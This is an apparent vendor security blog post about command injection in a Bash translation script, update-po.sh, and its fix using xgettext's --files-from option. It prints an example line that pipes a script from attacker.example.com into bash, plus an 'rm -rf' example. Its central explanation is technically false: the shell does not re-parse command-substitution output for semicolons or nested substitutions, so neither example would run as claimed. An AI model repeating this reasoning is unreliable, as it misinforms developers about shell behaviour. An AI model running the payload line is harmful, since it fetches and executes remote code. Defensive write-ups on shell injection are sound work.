Back to Blog
critical SEVERITY9 min read

How Command Injection happens in Shell Scripts and how to fix it

A command injection vulnerability in `update-po.sh` allowed maliciously crafted filenames in `po/POTFILES.in` to be interpreted as shell commands via unquoted command substitution. The fix replaces `$(cat po/POTFILES.in)` with `xgettext`'s native `--files-from=` flag, eliminating the shell word-splitting attack surface entirely. This is a textbook example of how a single unquoted substitution can become a dangerous exploit primitive.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a CWE-78 OS Command Injection vulnerability in the Bash shell script `update-po.sh`, where unquoted command substitution (`$(cat po/POTFILES.in)`) passed filenames directly to `xgettext` without sanitization. An attacker who could influence the contents of `po/POTFILES.in` could inject arbitrary shell commands via crafted filenames. The fix replaces the shell substitution entirely by using `xgettext`'s built-in `--files-from=po/POTFILES.in` flag, which reads the file list natively without invoking a shell word-split, removing the injection vector at its root.

Vulnerability at a Glance

cweCWE-78
fixReplaced shell substitution with xgettext's native `--files-from=po/POTFILES.in` flag
riskArbitrary command execution if POTFILES.in contents are attacker-influenced
languageBash (Shell Script)
root causeUnquoted `$(cat po/POTFILES.in)` passed to xgettext without validation or quoting
vulnerabilityOS Command Injection via unquoted shell substitution

How Command Injection Happens in Shell Scripts and How to Fix It


Vulnerability at a Glance

Field Detail
Vulnerability OS Command Injection (CWE-78)
File update-po.sh, line 24
Language Bash
Risk Arbitrary command execution via crafted filenames in POTFILES.in
Root Cause Unquoted $(cat po/POTFILES.in) passed directly to xgettext
Fix Replaced with xgettext's native --files-from=po/POTFILES.in

Summary

A command injection vulnerability in update-po.sh allowed maliciously crafted filenames in po/POTFILES.in to be interpreted as shell commands via unquoted command substitution. The fix replaces $(cat po/POTFILES.in) with xgettext's native --files-from= flag, eliminating the shell word-splitting attack surface entirely. This is a textbook example of how a single unquoted substitution can become a dangerous exploit primitive.


Introduction

The update-po.sh script handles translation template generation for the simple-taskbar project. Its job is straightforward: collect source file paths from po/POTFILES.in and pass them to xgettext to extract translatable strings into a .pot template file.

But buried in that routine task was a subtle, dangerous flaw. At line 24, the script used unquoted command substitution to feed filenames to xgettext:

$(cat po/POTFILES.in)

This single line, unquoted and unvalidated, handed the shell free rein to interpret whatever was inside POTFILES.in — not just as filenames, but as raw shell tokens. For developers working on similar build automation, localization pipelines, or CI scripts, this pattern is surprisingly common and consistently underestimated.


The Vulnerability Explained

What Actually Happens at the Shell Level

When Bash evaluates $(cat po/POTFILES.in), it:

  1. Executes cat po/POTFILES.in and captures the output as a string.
  2. Performs word splitting on that string using IFS (the Internal Field Separator, defaulting to spaces, tabs, and newlines).
  3. Passes each resulting token as a separate argument to xgettext.

This is the intended behavior when POTFILES.in contains clean, well-formed filenames like:

src/main.c
src/window.c
src/tray.c

But word splitting doesn't distinguish between a filename and a shell metacharacter. If POTFILES.in contains a line like:

src/main.c; rm -rf /tmp/important_data

...the shell splits on the semicolon and executes rm -rf /tmp/important_data as a separate command.

The Vulnerable Code (Before the Fix)

Here is the exact vulnerable section from update-po.sh:

xgettext \
    --keyword=_ \
    --language=C \
    --add-comments \
    --sort-output \
    --from-code=UTF-8 \
    --package-name="simple-taskbar" \
    --package-version=1.0 \
    --copyright-holder="sultech" \
    -o po/simple-taskbar.pot \
    $(cat po/POTFILES.in)   # <-- VULNERABLE: unquoted substitution

The absence of quotes around $(cat po/POTFILES.in) is the entire vulnerability. The shell eagerly word-splits and glob-expands the output before xgettext ever sees it.

A Concrete Attack Scenario

Imagine a scenario where po/POTFILES.in is generated or modified by an upstream process — a build system, a CI step that pulls from a repository, or even a developer's local tool that auto-populates the file list. An attacker who can influence the contents of POTFILES.in (through a supply chain compromise, a malicious PR, or a path traversal in an upstream generator) could insert a crafted entry:

src/main.c
$(curl https://attacker.example.com/payload.sh | bash)

When update-po.sh runs (often in a CI/CD pipeline with elevated permissions), the shell evaluates the inner substitution and executes the attacker's payload. The xgettext process itself is never the target — the shell is.

Even without full command injection, glob expansion is a risk. A filename like * in POTFILES.in would expand to every file in the current directory, potentially causing xgettext to process files it should never touch.

Real-World Impact for This Application

For simple-taskbar, update-po.sh is a build-time script likely executed in developer environments and CI pipelines. The blast radius of exploitation includes:

  • Developer machines: Credential theft, backdoor installation, or data exfiltration.
  • CI/CD runners: Secrets leakage (tokens, signing keys), artifact tampering, or pipeline poisoning.
  • Supply chain risk: A compromised .pot template could carry malicious strings into downstream localization tooling.

The Fix

What Changed

The fix is a single-line change that eliminates the shell substitution entirely:

-    $(cat po/POTFILES.in)
+    --files-from=po/POTFILES.in

Before vs. After

Before (vulnerable):

xgettext \
    --keyword=_ \
    --language=C \
    --add-comments \
    --sort-output \
    --from-code=UTF-8 \
    --package-name="simple-taskbar" \
    --package-version=1.0 \
    --copyright-holder="sultech" \
    -o po/simple-taskbar.pot \
    $(cat po/POTFILES.in)

After (secure):

xgettext \
    --keyword=_ \
    --language=C \
    --add-comments \
    --sort-output \
    --from-code=UTF-8 \
    --package-name="simple-taskbar" \
    --package-version=1.0 \
    --copyright-holder="sultech" \
    -o po/simple-taskbar.pot \
    --files-from=po/POTFILES.in

Why This Fix Works

xgettext has a native --files-from= option specifically designed to read a list of input files from a file. When xgettext reads POTFILES.in directly:

  • The shell never sees the file contents. There is no $(...) substitution, no word splitting, no glob expansion.
  • Each line in POTFILES.in is treated as a literal filename by xgettext's own argument parser, which does not invoke a shell interpreter.
  • Metacharacters like ;, |, $, and backticks in filenames are passed as-is to the filesystem lookup — they have no special meaning to xgettext.

This is the preferred pattern for passing file lists to tools: use the tool's native file-list mechanism rather than relying on the shell to expand the list. Many GNU tools (xargs with -a, grep with -f, xgettext with --files-from) support this pattern precisely because shell word-splitting is a known hazard.


Key Takeaways

  • $(cat file) unquoted is a shell injection primitive. In update-po.sh, the unquoted $(cat po/POTFILES.in) on line 24 handed the shell control over xgettext's argument list. Any tool that reads a file list this way is vulnerable to the same pattern.

  • Use the tool's native file-list option instead of shell substitution. xgettext --files-from=po/POTFILES.in reads the file list without ever involving the shell's word-splitting or glob-expansion machinery. Check for equivalent flags in other tools before defaulting to $(cat ...).

  • Build-time scripts are attack surface too. update-po.sh runs in developer environments and CI pipelines — contexts with elevated privileges and access to secrets. Hardening build scripts is as important as hardening application code.

  • This is an exploit primitive, not just a code smell. Even if POTFILES.in is currently trusted, the pattern can be chained with other weaknesses (path traversal, supply chain compromise) by automated exploit tooling. Removing it proactively raises the bar.

  • ShellCheck would have caught this. Static analysis for shell scripts is mature and free. Integrating ShellCheck into CI is a low-effort, high-value control that prevents this entire class of issue.


How Orbis AppSec Detected This

  • Source: The contents of po/POTFILES.in, a file that lists source files for translation extraction and can be influenced by contributors or upstream tooling.
  • Sink: The unquoted command substitution $(cat po/POTFILES.in) on line 24 of update-po.sh, passed directly as arguments to the xgettext shell command.
  • Missing control: No quoting, no input validation, no use of xgettext's native file-list mechanism — the file contents were passed raw through the shell's word-splitting and expansion pipeline.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced $(cat po/POTFILES.in) with --files-from=po/POTFILES.in, eliminating the shell substitution and its associated injection surface.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in update-po.sh is a reminder that command injection doesn't require a web form or a network socket. A single unquoted $(cat po/POTFILES.in) in a build script is enough to create an exploit primitive — one that becomes a full remote code execution vector the moment an attacker can influence the contents of POTFILES.in.

The fix is elegant precisely because it doesn't try to sanitize the dangerous pattern; it eliminates it. By switching to xgettext's native --files-from= flag, the shell is removed from the equation entirely. This is the right approach: when a safer API exists, use it instead of trying to make the unsafe one safe.

For developers writing build scripts, localization pipelines, or any shell automation that processes file lists: audit every $(cat ...) substitution. Ask whether the tool you're calling has a native file-list option. If it does, use it. If it doesn't, use Bash arrays with "${args[@]}". Never let the shell word-split untrusted input on your behalf.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #33

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.